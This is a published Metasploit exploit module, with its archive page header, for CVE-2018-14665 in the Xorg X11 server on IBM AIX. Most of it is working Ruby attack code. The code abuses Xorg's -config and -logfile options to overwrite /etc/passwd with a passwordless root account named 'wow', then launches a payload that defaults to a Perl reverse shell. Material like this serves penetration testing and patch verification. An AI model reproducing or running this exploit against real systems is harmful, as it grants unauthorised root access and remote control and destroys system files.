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Xorg X11 Server Local Privilege Escalation

Xorg X11 Server Local Privilege Escalation
Posted Nov 12, 2019
Authored by Narendra Shinde | Site metasploit.com

This Metasploit module has been tested with AIX 7.1 and 7.2, and should also work with 6.1. Due to permission restrictions of the crontab in AIX, this module does not use cron, and instead overwrites /etc/passwd in order to create a new user with root privileges. All currently logged in users need to be included when /etc/passwd is overwritten, else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user. The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX, and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when overwriting /etc/passwd.

tags | exploit, root
systems | openbsd, aix
advisories | CVE-2018-14665
MD5 | 441242f216fc75457eaee333db550449

Xorg X11 Server Local Privilege Escalation

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Post::File
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Xorg X11 Server Local Privilege Escalation',
'Description' => %q(
WARNING: Successful execution of this module results in /etc/passwd being overwritten.

This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.

A permission check flaw exists for -modulepath and -logfile options when
starting Xorg. This allows unprivileged users that can start the server
the ability to elevate privileges and run arbitrary code under root
privileges.

This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
Due to permission restrictions of the crontab in AIX, this module does not use cron,
and instead overwrites /etc/passwd in order to create a new user with root privileges.
All currently logged in users need to be included when /etc/passwd is overwritten,
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
overwriting /etc/passwd.
),
'Author' =>
[
'Narendra Shinde', # Discovery and original FreeBSD exploit
'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Oct 25 2018',
'Notes' =>
{
'SideEffects' => [ CONFIG_CHANGES ]
},
'References' =>
[
['CVE', '2018-14665'],
['URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html'],
['URL', 'https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc'],
['URL', 'https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl'],
['EDB', '45938']
],
'Platform' => ['unix'],
'Arch' => [ARCH_CMD],
'SessionTypes' => ['shell'],
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl'
}
},
'DefaultOptions' => {
'Payload' => 'cmd/unix/reverse_perl'
},
'Targets' =>
[
['IBM AIX Version 6.1', {}],
['IBM AIX Version 7.1', {}],
['IBM AIX Version 7.2', {}]
],
'DefaultTarget' => 1))

register_options(
[
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
)
end

def check
xorg_path = cmd_exec('command -v Xorg')
if !xorg_path.include?('Xorg')
print_error('Could not find Xorg executable')
return Exploit::CheckCode::Safe
end

ksh93_path = cmd_exec('command -v ksh93')
if !ksh93_path.include?('ksh')
print_error('Could not find Ksh93 executable')
return Exploit::CheckCode::Safe
end

if !xorg_vulnerable?
print_error('Xorg version is not vulnerable')
return Exploit::CheckCode::Safe
end

return Exploit::CheckCode::Appears
end

def exploit
status = check

if status == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, '')
end

if !writable?(datastore['WritableDir'])
fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable")
end

xorg_path = cmd_exec('command -v Xorg')
ksh93_path = cmd_exec('command -v ksh93')

xorg_payload = generate_xorg_payload(xorg_path, ksh93_path, datastore['WritableDir'])
xorg_script_path = "#{datastore['WritableDir']}/wow.ksh"
upload_and_chmodx(xorg_script_path, xorg_payload)

passwd_backup = "#{datastore['WritableDir']}/passwd.backup"
print_status("Backing up /etc/passwd to #{passwd_backup}")
cmd_exec("cp /etc/passwd #{passwd_backup}")
register_file_for_cleanup(passwd_backup)

print_status("Executing #{xorg_script_path}")
cmd_exec(xorg_script_path)
print_status('Checking if we are root')

if root?
shell_payload = %(#!#{ksh93_path}
#{payload.encoded}
)
shell_script_path = "#{datastore['WritableDir']}/wowee.ksh"
upload_and_chmodx(shell_script_path, shell_payload)

print_status('Executing shell payload')
cmd_exec("#{ksh93_path} -c \"echo #{shell_script_path} | su - wow &\"")

print_status('Restoring original /etc/passwd')
cmd_exec("su - wow -c \"cp #{passwd_backup} /etc/passwd\"")
else
fail_with(Failure::PayloadFailed, '')
end
end

def generate_xorg_payload(xorg_path, ksh93_path, writabledir)
passwd_file = read_file('/etc/passwd')
passwd_array = passwd_file.split("\n")

print_status('Retrieving currently logged in users')
users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')
users << "\n"
users_array = users.split("\n")

logged_in_users = ''
if !users_array.empty?
users_array.each do |user|
user << ':'
passwd_array.each do |line|
if line.index(user) == 0
logged_in_users << '\n'
logged_in_users << line
end
end
end
end

passwd_data = "$'#{logged_in_users}\\nwow::0:0::/:/usr/bin/ksh\\n#'"

subdir_count = writabledir.count('/')
relative_passwd = '../' * subdir_count + '../../etc/passwd'

return %(#!#{ksh93_path}
#{xorg_path} -config #{passwd_data} -logfile #{relative_passwd} :1 > /dev/null 2>&1
)
end

def xorg_vulnerable?
version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk \'{ print $2 }\'')
print_status("Xorg version is #{version}")
semantic_version = Gem::Version.new(version)

vulnerable_versions = [
['6.1.9.0', '6.1.9.100'],
['7.1.4.0', '7.1.4.30'],
['7.1.5.0', '7.1.5.31'],
['7.2.0.0', '7.2.0.1'],
['7.2.1.0', '7.2.1.0'],
['7.2.2.0', '7.2.2.0'],
['7.2.3.0', '7.2.3.15']
]

vulnerable_versions.each do |version_pair|
if semantic_version >= Gem::Version.new(version_pair[0]) &&
semantic_version <= Gem::Version.new(version_pair[1])
return true
end
end

return false
end

def root?
id_output = cmd_exec('su - wow -c "id"')

if id_output.include?('euid=0') || id_output.include?('uid=0')
print_good('Got root!')
return true
end

print_error('Not root')
false
end

def upload_and_chmodx(path, data)
print_status("Writing to #{path}")
rm_f(path)
write_file(path, data)
cmd_exec("chmod 0555 '#{path}'")

register_file_for_cleanup(path)
end
end
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